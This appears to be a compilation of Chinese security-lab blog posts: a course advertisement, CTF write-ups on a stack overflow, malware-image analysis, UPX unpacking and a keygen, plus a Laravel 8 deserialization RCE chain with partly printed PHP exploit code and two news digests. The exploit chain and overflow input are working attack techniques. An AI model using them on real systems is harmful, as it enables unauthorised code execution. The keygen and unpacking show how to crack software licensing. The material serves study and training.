看了N多干货?为什么你的渗透技能还是没有提升
在调查数百位渗透测试学习人员过程中,我们发现,部分人员仍然存在以下问题,一方面渴望提高,另一方面没找到真正的目标着力点。久而久之,陷入错误的习惯中。
如果你的浏览器收藏夹里保存着各大网安学习网站,每天都登陆这些网站,基本上关于网安学习的文章“照单全收”,看完以后还觉得收获颇丰,有种如沐春风的感觉。
那么恭喜你,你可能要“废”了。
很多时候看这些文章并没有什么用,甚至可能把你变成一个只会夸夸其谈的理论家。
并不是说这些文章写的不好,而是对于一些非常有价值的文章,你需要有一个正确的“打开方式”,才能从这些文章之中汲取到“营养”。
不管是在哪个行业,新人刚入行,唯一的进阶方式就是脚踏实地地多实践,多练习、多思考,多总结。也就是所谓的正确的“打开方式”,你需要把输入的方法论与实践操作相结合,从而输出适合你自己的学习经验。
为了帮助你更好地掌握基本的渗透测试实践能力,我推荐《渗透测试实战训练营》,课程除了理论教学外,配套了对应的课后实战作业,方法论与实践操作充分结合,从而输出适合你自己的学习经验。
课程包含7 节课 + 3 个实战练习 + 7天社群服务 + 实战作业反馈 ,原价198元,限时只需要2分钱 !课程第一节课将于 3月10日(15:00)开课,最后三天,赶紧抢购吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
2分钱,你不仅能了解渗透测试岗位的知识体系,掌握渗透测试的2-3个核心技能:快速入门渗透框架,深入利用目标靶机,钓鱼攻击&拓展框架。并能在最短时间内学完就实战。
除此之外,课程还包含一份100%有用的渗透测试学习常见的工具及学习资料包(足足4个G哟),涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了。
01.这门课,你将学会什么?
一、正确看待渗透测试的职业成长和发展
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
大多数事情,包括吸纳新知识:做的时候会面临压力、困难,但当你到达一定阶段,并获得一定成果,从中收获到的正反馈、胜任感。这就是无价的。
二、针对性实战训练
了解整体的学习路径后,我们有针对性的选择了3个核心技能带大家“实战训练”。
我们知道,任何职场上的能力,都需要通过实操才能确认是否真正掌握,而渗透测试,实操技能要求比其他岗位更强。
为了让你更好的掌握课程中的知识,我们特别在蚁景网安实验室设计了3个靶场实战作业,让你学完就练,练完就能上手,及时检验所学知识,查缺补漏,详细安排如下:
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
02.课程配套哪些服务?
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
以上,就是这样一门包含诸多干货内容++资料包+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2 分钱(收取2分钱是为了方便提供录播,相当于免费)!
本课程第一节课即将于3月10日(星期三) 15:00开课,赶快长按识别下方图片中的二维码报名吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
CTF-记一次PWN练习
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
PWN是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:"You just got pwned!")。有一个非常著名的国际赛事叫做Pwn2Own,即通过打败对手来达到拥有的目的。
在CTF中PWN题型通常会直接给定一个已经编译好的二进制程序(Windows下的EXE或者Linux下的ELF文件等),然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果,最终拿到目标机器的shell夺取flag。
又到了介绍工具的时候了!首先了解一下gdb。
gdb是Linux下常用的一款命令行调试器,拥有十分强大的调试功能。本实验中需要用到的gdb命令如下:
这个工具类似逆向里面的IDA这类的神器。
除了工具还需要知道一些简单的汇编基础,读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求,本实验中需要理解的汇编指令如下:
汇编语言中,esp寄存器用于指示当前函数栈帧的栈顶的位置,函数中局部变量都存储在栈空间中,栈的生长方向是向下的(即从高地址往低地址方向生长)。
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
本文涉及知识点实操练习: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001(PWN是CTF竞赛中的主要题型之一,主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。CTF-PWN系列实验以最常见的栈溢出为主线,通过由浅入深的方式,一步一步讲解栈溢出攻击原理与实践,同时详细介绍了Linux下GDB调试器的基本使用方法。)。
先看题目描述,跟看web源码一样重要,主机/home/test/1目录下有一个pwn1程序,执行这个程序的时候可以输入数据进行测试,pwn1程序会输出Please try again.的提示信息,请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出Congratulations, you pwned it.信息。
首先第一步源码审计在实际的CTF竞赛的PWN题目中,一般是不会提供二进制程序的源代码的。这里为了方便大家学习,给出二进制程序的C语言源代码供大家分析,以源码审计的方式确定漏洞所在位置,方便后续进行汇编级别的分析。
(在没有源代码的情况下,我们通常使用IDA Pro对二进制程序进行逆向分析,使用IDA的Hex-Rays插件可以将反汇编代码还原为C语言伪代码,可以达到类似源代码的可读效果,在后期的实验中会专门对IDA的使用进行讲解)
使用cd /home/test/1切换到程序所在目录,执行cat pwn1.c即可看到源代码:
#include <stdio.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
modified = 0;
gets(buffer); // 引发缓冲区溢出
if (modified != 0)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again.\n");
}
return 0;
}
我们看这里使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,输入超长的输入数据时会引发缓冲区溢出。
漏洞找到了,我们来看利用过程执行gdb pwn1即可开始通过gdb对pwn1进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482a9 <+9>: movl $0x0,0x5c(%**esp)**
; buffer位于esp + 0x1C处
0x080482b1 <+17>: lea 0x1c(%**esp),%eax**
0x080482b5 <+21>: mov %eax,(%**esp)**
; 调用gets(buffer)读取输入数据
0x080482b8 <+24>: call 0x8049360 <gets>
; 判断modified变量的值是否是0
0x080482bd <+29>: cmpl $0x0,0x5c(%**esp)**
; 如果modified的值等于0,就跳转到 0x080482d2
0x080482c2 <+34>: je 0x80482d2 <main+50>
; modified不为0,打印成功提示
0x080482c4 <+36>: movl $0x80b3eec,(%**esp)**
0x080482cb <+43>: call 0x8049500 <puts>
0x080482d0 <+48>: jmp 0x80482de <main+62>
; modified为0,打印失败提示
0x080482d2 <+50>: movl $0x80b3f0b,(%**esp)**
0x080482d9 <+57>: call 0x8049500 <puts>
0x080482de <+62>: mov $0x0,%**eax**
0x080482e3 <+67>: leave
0x080482e4 <+68>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖。
下面在gdb中进行验证,在gdb中执行b *0x080482bd命令对gets的下一条指令下一个断点:
在gdb中执行r命令,让被调试的pwn1程序跑起来,就可以输入数据进行测试了,这里我们输入64个A以及1个B(即AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x00000042,而0x42就是字符’B’的ASCII值,表明我们成功用输入数据的第65个字节覆盖了modified变量:
在gdb中连续两次执行ni命令,可以看到je指令没有跳转,说明modified的值不为0,程序进入输出通过信息的if语句分支:
在gdb中输入c命令就可以让程序继续执行,看到输出了通过提示信息:
通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,以达到进入if语句分支的目的。下面我们就可以通过构造输入数据进行攻击了。
如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过管道传给pwn1程序,执行命令python -c "print 'A'*64+'B'" | ./pwn1
看到已经成功发起了溢出攻击,程序被你PWN掉啦!
想学习更多CTF技术?加入网安实验室,1300+网安技能任你学!
Laravel 8 反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
forward
laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (Fastjson是阿里巴巴公司开源的一款json解析器,在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
text
首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;
public function __destruct() { $this->events->dispatch($this->event); }
这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;
public function dispatch($command) { return $this->queueResolver && $this->commandShouldBeQueued($command) ? $this->dispatchToQueue($command) : $this->dispatchNow($command); }
这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控制queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;
protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;
继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;
class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config, $code) { if (!$config->getName()) { throw new \InvalidArgumentException("MockConfiguration must contain a name"); } $this->config = $config; $this->code = $code; } public function getCon
看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;
protected $name; public function getName() { return $this->name; }
因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:
<?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protect
这里为了节省时间,我最后用abcdef直接代替了,造成rce;
细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;
<?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protect
想了解更多关于CTF的技能?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之病毒分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
首先介绍两个知识点,在后面的实验中运用到的。
1、7Zip
7-Zip 是一款开源软件。我们可以在任何一台计算机上使用 7-Zip ,包括用在商业用途的计算机。7-Zip 适用于 Windows 7 / Vista / XP / 2008 / 2003 / 2000 / NT / ME / 98。并且有面向 Mac OS X、Linux、Unix 平台的命令行版本。
7zip使用起来十分方便,通过添加的右键菜单,可以尝试对任意文件进行解压缩操作。7zip支持的文件格式十分丰富,其中压缩包括:7z, XZ, BZIP2, GZIP, TAR, ZIP and WIM等格式,解压缩包括:ARJ, CAB, CHM, CPIO, CramFS, DEB, DMG, FAT, HFS, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, RAR, RPM, SquashFS, UDF, VHD, WIM, XAR, Z等格式。
在一些CTF逆向分析的题目中,我们可以尝试使用7zip对其进行解压缩操作,可能就会有意想不到的效果,可以大大加快我们的分析过程。
2、在线沙箱
网上有许多公开的在线沙箱,使用这些沙箱提供的服务,我们可以方便的观察一个程序的详细行为报告,进而判断一个程序大致的内部逻辑。
在线沙箱通常用于大致判定一个程序的行为是否安全,在逆向分析中,我们可以通过提交一个文件给沙箱程序来判断程序内部的大致逻辑,通过对沙箱报告的分析,有时候可以有效加快我们的逆向分析进程。
本文涉及知识点实操练习: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410071600001
题目描述:
某日,一小学生弄了个U盘到打印店打印文件,U盘往计算机上一插,发现机子死机了,高明的打印店老板为了防止此类事件,特意设置了霸王键,可一键备份,随后老板把U盘备份了交给小王,小王想要知道U盘里到底被感染了什么你能帮帮他吗?
主机C:\Reverse\8目录下提供了这个UP_BOOT.img文件,请对该文件进行逆向分析,找到题目过关的Flag。
我们先来看这个病毒进行一个病毒特征分析
病毒程序是一个IMG文件,这种文件不是可执行文件,因此无法直接运行。我们使用7zip打开这个文件,看看里面是不是附加了什么东西。选中UP_BOOT.img文件后,单击鼠标右键,在弹出的右键菜单中选择“7Zip”——“Open archive”,如图所示:
打开文件后我们发现里面有两个文件,将其解压出来:
我们发现一个autorun.inf文件,文件内容为:
“你真厉害都到这了,看看这个游戏你肯定会喜欢的,但是据说这个游戏是被加了后门的,找到后门操作的文件的内容,取文件内容的16位md5值作为key!祝你好运.......”
提示游戏“是男人你就下100层.exe”被加了后门,双击运行程序,发现弹出了一个游戏,游戏还是很难玩的,如下图所示:
继续进行分析,再次尝试使用7Zip打开“是男人你就下100层.exe”这个文件,我们发现里面有三个文件,分别为1.vbs、1.exe、2.exe,如下图所示:
拿到这些东西,之后怎么办呢。这就可以用到我们之前讲的在线沙箱。
运行释放的1.exe文件,除了一个一闪而过的黑框之外,我们看不到任何其他行为。现在我们需要使用在线沙箱分析来加快我们的分析流程,看看1.exe都有哪些行为特征。
打开在线沙箱分析平台,一般需要你注册一个账号并激活,点击“分析文件”上传1.exe进行分析,等待一段时间就可以看到分析报告了。
从分析报告中我们可以看出,1.exe释放了一个test.txt文件到当前目录,而且把test.txt的文件属性设置为系统和隐藏,因此我们看不到文件夹里面多了一个txt文件。
现在使用记事本打开这个test.txt文件,文件内容为(WdubQ4IGEzAG54NfATJTNhI4TLIvPvENyTLLWb3YCNBeK5wad5XCgrSQNOih1F),如图所示:
这就是我们所要找的文件,使用MD5计算工具,算出这个字符串的16位MD5值,为ba3c34ec7cd9c086,这就是我们要找的flag了,如图所示:
逆向真好玩,就是有点掉头发,最近的实验已经是一山更比一山高了,不仅仅是实验内容,而且还有不少工具需要了解。了解工具才能更好的做实验,解决问题!
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之脱壳分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要介绍脱壳分析的实验。壳,在自然界中,植物用壳来保护种子,动物用壳来保护身体等。同样,在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。他们附加在原程序上通过Windows加载器载入内存后,先于原始程序的执行,得到控制权,执行过程中对原始程序进行解密和还原操作,还原后再把控制权交给原始程序,执行原来的代码部分。加上外壳后,原始程序代码在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原,这样就可以比较有效地防止破解者对程序文件的非法修改,同时也可防止程序被静态反编译。由于这段程序和自然界的壳在功能上有很多相同的地方,基于命名的规则,就把这样的程序称为“壳”了。
那加了壳,我们是不是就不能直接逆向了呢?
对的,而且壳分了好几种, 按照壳的功能特性,壳可以划分为压缩壳和加密壳,压缩壳侧重于压缩体积,加密壳侧重于加密,二者的出发点是不一样的。常见的压缩壳有upx、ASPack等,常见的加密壳有ASProtect、Armadillo等。不同的壳脱壳需要不同的操作才能脱掉。
先进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410053900001。
题目描述:
主机C:\Reverse\6目录下有一个CrackMe6.exe程序,这个程序是使用upx程序加过壳的,请尝试对其进行手工脱壳,并编写详细的分析报告。要求脱壳后的程序可以正常运行。
现在开始操作首先 运行C:\Reverse\6\CrackMe6.exe程序,提示需要对该程序进行脱壳处理,程序的运行界面如下图所示:
他说是upx壳,会不会是骗我们的,有没有什么判断壳的软件呢?
当然有,之前不是说了PEID程序吗,他不仅可以判断有没有加壳,甚至还可以判断是什么类型的壳,使用PEiD载入程序,查看CrackMe6.exe被加了什么壳,PEiD的主界面显示如下图所示:
提示信息为“UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo”,可以初步断定程序被加过UPX壳了。
下面尝试使用IDA对这个加了壳的程序进行分析,IDA弹出这样一个警告提示,如图所示:
通常弹出这样的提示都意味着程序经过了加壳处理,这时候最好不要直接使用IDA去进行分析,因为加壳后的程序很难通过IDA的静态分析来理解程序的内部执行逻辑。
这时候呢我们还是用OD来脱壳,使用OD载入CrackMe6.exe程序,OD的反汇编窗口停留在一条pushad指令上面,我们按下F8单步跟踪到下一条指令,然后在右侧的寄存器窗口中选中ESP寄存器(可以看到ESP寄存器的值为0012FFA4),并单击鼠标右键,在弹出的右键菜单中选择“数据窗口中跟随”,如图所示:
在反汇编指令窗口下面的数据窗口中,选择0012FFA4开始的四个字节,并单击鼠标右键,在弹出的右键菜单中依次选择“断点”——“硬件访问”——“Dword”菜单项,如图所示:
接下来按下F9运行程序,程序运行一段时间后OD将自动断下,这时候我们先删除之前设置的硬件断点,依次选择菜单项中的“调试”——“硬件断点”,删除我们设置的硬件断点,如图所示:
现在按F7进行单步跟踪,直到运行到0043FD24这一条指令,当然这里有一个循环比较麻烦,我们可以直接在0043FD24按下F4即可(F4代表运行到光标所在行),然后再次F7单步跟踪,来到004094F8。
0043FD17 8D4424 80 lea eax, dword ptr [esp-80]
0043FD1B 6A 00 push 0
0043FD1D 39C4 cmp esp, eax
0043FD1F ^ 75 FA jnz short 0043FD1B
0043FD21 83EC 80 sub esp, -80
0043FD24 - E9 CF97FCFF jmp 004094F8
现在在反汇编指令窗口中单击鼠标右键,选择“Dump debugged process”菜单项,在弹出的OllyDump窗口选择“Dump”按钮保存文件,注意记住这里的94F8,这是程序的入口点信息。我们将程序保存为dumped.exe,如图所示:
继续实验现在打开桌面上的ImportREC程序,首先在进程列表中选择C:\Reverse\6\crackme6.exe,然后在OEP中填入94F8(也就是在OD中找到的一个信息),然后点击“IAT AutoSearch”按钮,接着点击“GetImports”按钮,就可以看到程序的输入表信息了。
点击右侧的“Show Invalid”按钮,看看是否存在无效的输入表项目。无效的输入表项目前面带有问号(?),如果有可以使用右键菜单删除。这里没有无效的输入表项目,所以选择“Fix Dump”按钮,对我们的dumped.exe进行修复,得到dumped_.exe程序。
现在对程序的脱壳以及修复操作已经全部完成,使用PEiD对dumped.exe程序查壳,可以看到提示“Microsoft Visual C++ 6.0”信息,dumped.exe程序也可以正常运行,至此脱壳完成。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年03月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Linux内核修复本地提权漏洞
https://www.securityweek.com/privilege-escalation-bugs-patched-linux-kernel
2、托管服务提供商CompuCom遭恶意软件攻击
https://www.securityweek.com/managed-services-provider-compucom-hit-malware
3、思科多款产品因Snort检测引擎漏洞遭DoS攻击
https://www.securityweek.com/several-cisco-products-exposed-dos-attacks-due-snort-vulnerability
4、多个黑客组织利用Exchange Server 零日漏洞攻击
https://www.securityweek.com/multiple-cyberspy-groups-target-microsoft-exchange-servers-zero-day-flaws
5、500万Adecco.com用户数据泄露
https://cybernews.com/security/5-million-adecco-com-users-data-leaked/
6、FireEye研究人员发现与SolarWinds攻击有关的新恶意软件
https://securityaffairs.co/wordpress/115291/malware/sunshuttle-backdoor-solarwinds-hack.html
7、GRUB项目发布安全更新修复数百个漏洞
https://securityaffairs.co/wordpress/115258/hacking/grub2-boot-loader-flaws.html
8、Group-IB发布报告勒索软件攻击在2020年增长了 150%以上
https://securityaffairs.co/wordpress/115268/cyber-crime/ransomware-landscape-2020.html
9、WiFi Mouse应用存在漏洞可劫持台式电脑
https://threatpost.com/unpatched-bug-in-wifi-mouse-opens-pcs-to-attack/164480/
10、俄罗斯网络犯罪论坛Maza遭数据泄露
https://www.zdnet.com/article/maza-russian-cybercriminal-forum-suffers-data-breach/
CTF REVERSE练习之算法分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
首先从PEID的算法分析插件来介绍,要知道不管是在CTF竞赛的REVERSE题目中,还是在实际的商业产品中,很多程序都喜欢使用成熟的标准算法来作为注册算法的一个部分,如MD5、Blowfish等。这些算法本身往往就十分复杂和难以你理解,如果从反汇编指令来阅读这些算法则更是难上 加难。对于标准算法,实际上我们并不需要知道这些算法的详细计算过程,我们只需要知道是哪一个算法即可,因为标准算法网上都能找到成熟的库文件或者源码等。
PEiD有一个叫做Krypto ANALyzer的插件,使用这个插件可以对程序进行扫描,通过特征匹配来识别程序内部可能用到的一些标准算法。Krypto ANALyzer的使用方法为:点击PEiD主界面右下角的“=>”按钮,选择“插件”菜单项,然后选择“Krypto ANALyzer”,就可以弹出Krypto ANALyzer插件了。Krypto ANALyzer插件会自动分析程序内部可能用到的标准算法,如图所示:
下图中显示了程序中在地址00401E5C处存在MD5算法的特征:
除了要知道这些插件呢,还有一些小技巧,在IDA中,我们可以通过按下N键来对一个变量/函数/标记等进行重命名操作,函数和变量命名对于帮主我们理解程序的内部逻辑非常重要,就好比我们在编程的时候,培养良好的编程风格非常重要一样。
比如,如果函数sub_4012E0经过我们分析之后,确定其功能为将传入的字符串转为大写形式,那么我们可以选中sub_4012E0后按下N键对其进行重命名(将函数名命名为fnStringToUpper):
IDA还可以给汇编指令或者伪代码来添加注释。如果要对某一条汇编指令添加注释,只需要在汇编指令所在行按下封号(即;)即可弹出对话框来接收注释;如果要给伪代码添加注释,则只需在伪代码所在行按下斜杠(即/)即可弹出对话框来接收注释。
OD也可以给汇编指令添加注释,只需要在汇编指令所在行后一列的空白处双击鼠标左键即可,如图所示:
我们来看实验吧,同样进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410041300001。
好好看下实验描述,
主机C:\Reverse\4目录下有一个CrackMe4.exe程序,运行这个程序的时候会提示输入用户名和注册码进行注册,当输入正确的用户名和注册码时,会弹出成功提示的消息框,请对CrackMe4.exe程序进行逆向分析和调试,尝试编写一个注册机程序。
首先运行这个程序后要求输入一个用户名和密码进行注册,当注册失败的时候,程序将弹出一个消息框提示不正确,如图所示:
那么我们可以通过IDA的交叉引用功能来定位这一块的代码。使用IDA载入CrackMe4.exe程序,待分析结束后,通过Imports TAB页面找到MessageBoxA,双击来到反汇编视图,在MessageBoxA按下X按键对其进行交叉引用查找,经过一个一个进行分析,我们发现sub_4016B0就是我们所要找的关键函数,我们通过F5得到这个函数的伪代码。通过对伪代码添加注释,以及对变量进行重命名操作,我们得到如下的代码片段:
上面的伪代码有两个错误,就是在第一个if语句中会判断密码的长度是否为33,如果不是33就弹出错误提示。其实这里是32(而用户名的长度则不能大于10)只是Hex-Rays Decompiler这个插件生成伪代码时出错了,所以需要记住,F5生成的伪代码并不保证完全正确。32这个长度对应汇编指令中的代码片段如下:
通过上面的伪代码的分析,我们发现只有sub_401510这个函数的功能并不清楚,通过双击sub_401510查看对应的伪代码,发现有点复杂,暂时无法理解,不过这并不要紧。
我们来用PEID的算法识别使用PEiD的Krypto ANALyzer进行快速识别,将CrackMe4.exe载入PEiD,点击PEiD主界面右下角的“=>”按钮,选择“插件”菜单项,然后选择“Krypto ANALyzer”,就可以弹出Krypto ANALyzer插件了,Krypto ANALyzer提示程序使用了MD5算法,如下图所示:
我们记住00401E5C这个地址,在IDA的反汇编指令视图(IDA View)中按下G键,输入00401E5C,就会自动跳转到计算MD5的函数代码中,如图所示:
从这里并不能得到什么有用的信息,我们需要通过不断的回溯来理解程序的代码逻辑。通过往上查阅代码,我们知道00401E5C 位于函数sub_401D10之中,我们对sub_401D10进行交叉引用查找,如图所示:
可以从sub_401D10回溯到sub_4026F0,继续通过交叉引用往上回溯,依次为sub_4027B0、sub_401C00、sub_401BB0、sub_401510,而sub_401510就是我们在实验步骤一种为一个暂时不理解的函数。那么我们可以猜测sub_401510这个函数就是用来计算用户名的MD5值的,我们可以通过OD动态调试来验证我们的想法。
通过阅读IDA中的反汇编代码,我们知道在00401752处调用了sub_401510这个函数,
.text:00401752 call sub_401510
现在OD载入CrackMe4.exe程序,在00401752处设置一个断点,然后按F9运行程序,用户名输入test,密码输入一个32个字符的任意字符串,单击“注册”按钮,程序便会自动断下,断下后按F8进行单步跟踪,执行sub_401510这个函数后,我们看到eax寄存器的值为098F6BCD4621D373CADE4E832627B4F6,这个恰好就是test的MD5值。
用工具就是为了帮我们把复杂的事情变得简单起来,我们算法分析完之后就可以直接把题目解了,我们来编写一个注册机了。程序的注册算法为:将用户名进行MD5计算得到一个哈希值,将哈希值转换为答谢字符串即可,其中用户名的长度在1~10之间,不能超过10.
Python内置了MD5算法,可以非常方便的计算MD5值,我们编写这样一段脚本即可:(代码位于C:\Reverse\4\Keygen.py)
import hashlib
while True**:**
username = raw_input("input username:")
md5 = hashlib.md5(username).hexdigest().upper()
serial = md5[::-1] # 翻转**字符串**
print "serial: %s" % serial
我们输入用户名Wins0n,就可以得到注册码为51F561458ADAEEBA43A57CF7E59F6CC4,输入程序可以成功注册,如图所示:
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年03月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、英特尔为漏洞赏金计划平均每年支付80W美金
https://www.securityweek.com/intel-paid-out-800000-year-through-bug-bounty-program
2、网络安全公司Qualys遭Clop勒索软件攻击并导致数据泄露
https://securityaffairs.co/wordpress/115250/data-breach/qualys-clop-ransomware.html
3、100多家意大利银行遭Ursnif Trojan攻击
https://securityaffairs.co/wordpress/115245/cyber-crime/ursnif-targets-italian-banks.html
4、Chrome发布更新修复高危漏洞
https://threatpost.com/google-patches-actively-exploited-flaw-in-chrome-browser/164468/
5、微软发布紧急更新修复Exchange Server 4个0day漏洞
